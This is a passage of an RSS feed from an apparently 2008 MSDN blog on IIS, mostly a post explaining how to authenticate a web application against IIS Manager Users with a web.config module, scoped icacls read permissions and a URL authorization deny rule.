&lt;P&gt;So go ahead and try the tool, give us feedback (&lt;STRONG&gt;remember this is a Beta) &lt;/STRONG&gt;so it can only get better :)&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8974090" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/X3_F0q_FTRE" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/.NET/default.aspx">.NET</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2008/10/02/WebPIBetaReleased.aspx</feedburner:origLink></item><item><title>Using IIS Manager Users Authentication in your Web Application</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/dEyF5xoe2KU/using-iis-manager-users-in-your-application.aspx</link><pubDate>Fri, 26 Sep 2008 02:06:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8965714</guid><dc:creator>CarlosAg</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/8965714.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=8965714</wfw:commentRss><description>&lt;P&gt;Today in the IIS.NET Forums a question was asked if it was possible to use the same IIS Manager Users authentication in the context of a Web Application so that you could have say something like WebDAV using the same credentials as you use when using IIS Manager Remote Administration.&lt;/P&gt;
&lt;P&gt;The IIS Manager Remote Administration allows you to connect to manage your Web Site using credentials that are not Windows Users, but instead just a combination of User and Password. This is implemented following a Provider model where the default implementation we ship uses our Administration.config file (%windir%\system32\inetsrv\config\administration.config) as the storage for this users. However, you can easily implement a base class to authentication against a database or any other users store if needed. This means you can build your own application and call our API's (ManagementAuthentication).&lt;/P&gt;
&lt;P&gt;Even better in the context of a Web Site running in IIS 7.0 you can actually implement this without having to write a single line of code.&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Disclaimer: &lt;/STRONG&gt;Administration.config out-of-the box only has permissions for administrators to be able to read the file. This means that a Web Application will not be able to access the file, so you need to change the ACL's in the file to provide read permissions for your Application, but you &lt;STRONG&gt;should&lt;/STRONG&gt; make sure that you limit the read access to the minimum required such as below.&lt;/P&gt;
&lt;P&gt;Here is how you do it:&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;&lt;STRONG&gt;First make sure that your Web Site is using SSL &lt;/STRONG&gt;to use this. (Use IIS Manager and right click your Web Site and Edit Bindings and add an SSL binding). &lt;/LI&gt;
&lt;LI&gt;So that we can restrict permissions further, &lt;STRONG&gt;make your application run in its own Application Pool,&lt;/STRONG&gt; this way we can change the ACL's required to only affect your application pool and nothing else. So using IIS Manager go to Application Pools and add a new Application running in Integrated Mode, and give it a name you can easily remember, say &lt;STRONG&gt;WebMgmtAppPool (we will use this in the permissions below)&lt;/STRONG&gt;. &lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Disable Anonymous Authentication in your application.&lt;/STRONG&gt; (Use IIS Manager, drill-down to your application, double click the Authentication feature and disable Anonymous Authentication and any other authentication module enabled). &lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Enable the Web Management Authentication Module&lt;/STRONG&gt; in your application, you can add a &lt;STRONG&gt;Web.config&lt;/STRONG&gt; file with the following contents on it: 
&lt;DIV class=code&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;configuration&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;system.webServer&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;modules&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;add&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;='WebManagementBasicAuthentication'&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; type&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;='Microsoft.Web.Management.Server.WebManagementBasicAuthenticationModule, Microsoft.Web.Management, Version=7.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;modules&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;system.webServer&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&amp;nbsp; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;configuration&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&amp;nbsp;&lt;/FONT&gt; &lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Modify the ACL's in the required configuration files&lt;/STRONG&gt;: 
&lt;OL&gt;
&lt;LI&gt;Give read access to the config directory so we can access the files using the following command line (&lt;STRONG&gt;note that we are only giving permissions to the Application Pool)&lt;/STRONG&gt; &lt;BR&gt;icacls %windir%\system32\inetsrv\config /grant "&lt;STRONG&gt;IIS AppPool\WebMgmtAppPool&lt;/STRONG&gt;":(R) &lt;/LI&gt;
&lt;LI&gt;Give read access to the redirection.config: &lt;BR&gt;icacls %windir%\system32\inetsrv\config\redirection.config /grant "&lt;STRONG&gt;IIS AppPool\WebMgmtAppPool&lt;/STRONG&gt;":(R) &lt;/LI&gt;
&lt;LI&gt;Finally give read access to administration.config: &lt;BR&gt;icacls %windir%\system32\inetsrv\config\administration.config /grant "&lt;STRONG&gt;IIS AppPool\WebMgmtAppPool&lt;/STRONG&gt;":(R) &lt;/LI&gt;&lt;/OL&gt;&lt;/LI&gt;
&lt;LI&gt;At this point you should be able to navigate to your application using any browser and you should get a prompt for credentials that will be authenticated against the IIS Manager Users. &lt;/LI&gt;&lt;/OL&gt;
&lt;P&gt;What is also nice is that you can use URL Authorization to further restrict permissions in your pages for this users, for example, if I didn't want a particular IIS Manager User (say MyIisManagerUser) to access the Web Site I can just configure this in the same web.config:&lt;/P&gt;
&lt;DIV class=code&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;configuration&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;system.webServer&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;security&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;authorization&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;add&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; accessType&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Deny"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; users&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="MyIisManagerUser"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;authorization&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;security&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;system.webServer&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;configuration&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&lt;/FONT&gt; &lt;/DIV&gt;
&lt;P&gt;If you want to learn more about remote administration and how to configure it you can read: &lt;A title=http://learn.iis.net/page.aspx/159/configuring-remote-administration-and-feature-delegation-in-iis-7/ href="http://learn.iis.net/page.aspx/159/configuring-remote-administration-and-feature-delegation-in-iis-7/" mce_href="http://learn.iis.net/page.aspx/159/configuring-remote-administration-and-feature-delegation-in-iis-7/"&gt;http://learn.iis.net/page.aspx/159/configuring-remote-administration-and-feature-delegation-in-iis-7/&lt;/A&gt;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8965714" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/dEyF5xoe2KU" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx">IIS Manager</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2008/09/26/using-iis-manager-users-in-your-application.aspx</feedburner:origLink></item></channel></rss>
